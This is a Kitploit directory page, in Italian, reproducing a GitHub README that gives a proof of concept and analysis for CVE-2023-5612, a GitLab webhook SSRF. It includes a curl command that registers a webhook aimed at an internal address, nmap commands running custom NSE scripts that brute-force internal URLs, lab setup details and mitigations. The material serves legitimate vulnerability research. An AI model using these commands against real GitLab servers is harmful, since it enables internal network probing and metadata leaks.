Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Review.CVE-2023-5612 — Proof-of-concept e analisi per CVE-2023-5612, un SSRF tramite webhook in GitLab CE/EE. Include passaggi PoC con curl e script NSE personalizzati per verificare e forzare URL interni. | Kitploit
Strumenti/GitHubGitHub/constantinefedorov/review.cve-2023-5612
Scanner di VulnerabilitàMappatura della ReteAnalisi delle VulnerabilitàExploitSicurezza WebPenetration TestingRed Teaming
GitHubconstantinefedorov/review.cve-2023-5612

Review.CVE-2023-5612

Proof-of-concept e analisi per CVE-2023-5612, un SSRF tramite webhook in GitLab CE/EE. Include passaggi PoC con curl e script NSE personalizzati per verificare e forzare URL interni.

Vedi Repository
31 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-5612 – GitLab SSRF tramite URL Webhook (PoC & Analisi)

📌 Panoramica CVE

  • CVE-ID: CVE-2023-5612
  • Gravità: Alta (CVSS: 8.1 Base Score)
  • Tipo: Server-Side Request Forgery (SSRF)
  • Componente: GitLab CE/EE Webhooks
  • Versioni interessate: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 Descrizione

Una vulnerabilità SSRF in GitLab CE/EE consente agli attaccanti con accesso valido come Project Maintainer di inviare richieste craftate verso servizi interni arbitrari tramite URL webhook malevoli. Lo sfruttamento porta a scansione della rete interna, fuga di metadati o ulteriore pivoting.


✅ Condizioni di exploit

  • L'attaccante ha accesso maintainer al progetto
  • GitLab non ha filtraggio o validazione rigorosa degli URL degli hook

⚙️ Passaggi PoC (Manuale)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 Ambiente & Setup

- Kali Linux all'interno di una macchina virtuale, distribuita appositamente per il testing
- Istanza di GitLab CE vulnerabile avviata tramite Docker (porta 8080)
- All'interno di GitLab:
- Creato un progetto di test
- Generato un Personal Access Token (glpat-...) con privilegi Maintainer
- Per il target SSRF interno è stato avviato un servizio HTTP minimale su 127.0.0.1:8888

🧠 Metodologia

- Conferma manuale della vulnerabilità tramite curl (vedi PoC)
- Creazione di script NSE personalizzati:
gitlab-ssrf.nse: verifica mirata dell'SSRF
gitlab-ssrf-brute.nse: brute force automatico degli indirizzi interni
- Test con nmap -d e --script-trace, per analizzare il comportamento dell'API e registrare i risultati
- Ricezione di una risposta 401 Unauthorized dal servizio interno, che indica un SSRF riuscito
- Una richiesta riuscita restituirà `201 Created` oppure un errore del tipo `401 Unauthorized`, che indica accesso SSRF.

🛠 Script NSE (Trigger Manuale)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 Script NSE (Bruteforce URL Interni)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 Conclusione

Durante il lavoro sulla vulnerabilità **CVE-2023-5612** è stato riprodotto con successo uno scenario di attacco SSRF con accesso a indirizzi interni tramite l'API di GitLab CE. Ciò dimostra quanto sia importante limitare le capacità dei webhook e implementare la validazione degli URL lato server.

🎯 Obiettivo raggiunto:

  • SSRF confermato
  • Toolkit NSE implementato
  • Progetto documentato e aperto alla community

📂 Struttura del Repo

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Screenshot dell'esecuzione del PoC e conferma della vulnerabilità
└── README.md                   # Questo file

🖼 Screenshot

  • ✅ SSRF riuscito con ritorno 401 Unauthorized
  • 📜 Log di nmap con l'esecuzione dello script
  • 📦 Aggiunta del webhook tramite API

⚠️ Mitigazione

  • Aggiornare GitLab a >= 16.2.7 / 16.3.4 / 16.4.1
  • Limitare l'HTTP in uscita tramite egress firewall
  • Utilizzare allow-list interne per i webhook

🧠 Autore & Contatti

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst


📅 Timeline

  • Giugno 2025: Analisi del PoC e della vulnerabilità
  • 5 giugno 2025: Scrittura dello script NSE personalizzato e dei test

🔐 Disclaimer

Tutti i test sono stati eseguiti in ambienti di laboratorio isolati su versioni intenzionalmente vulnerabili. Non utilizzare questo materiale contro sistemi non autorizzati. Rispettare i principi dell'hacking etico.

Scarica lo strumento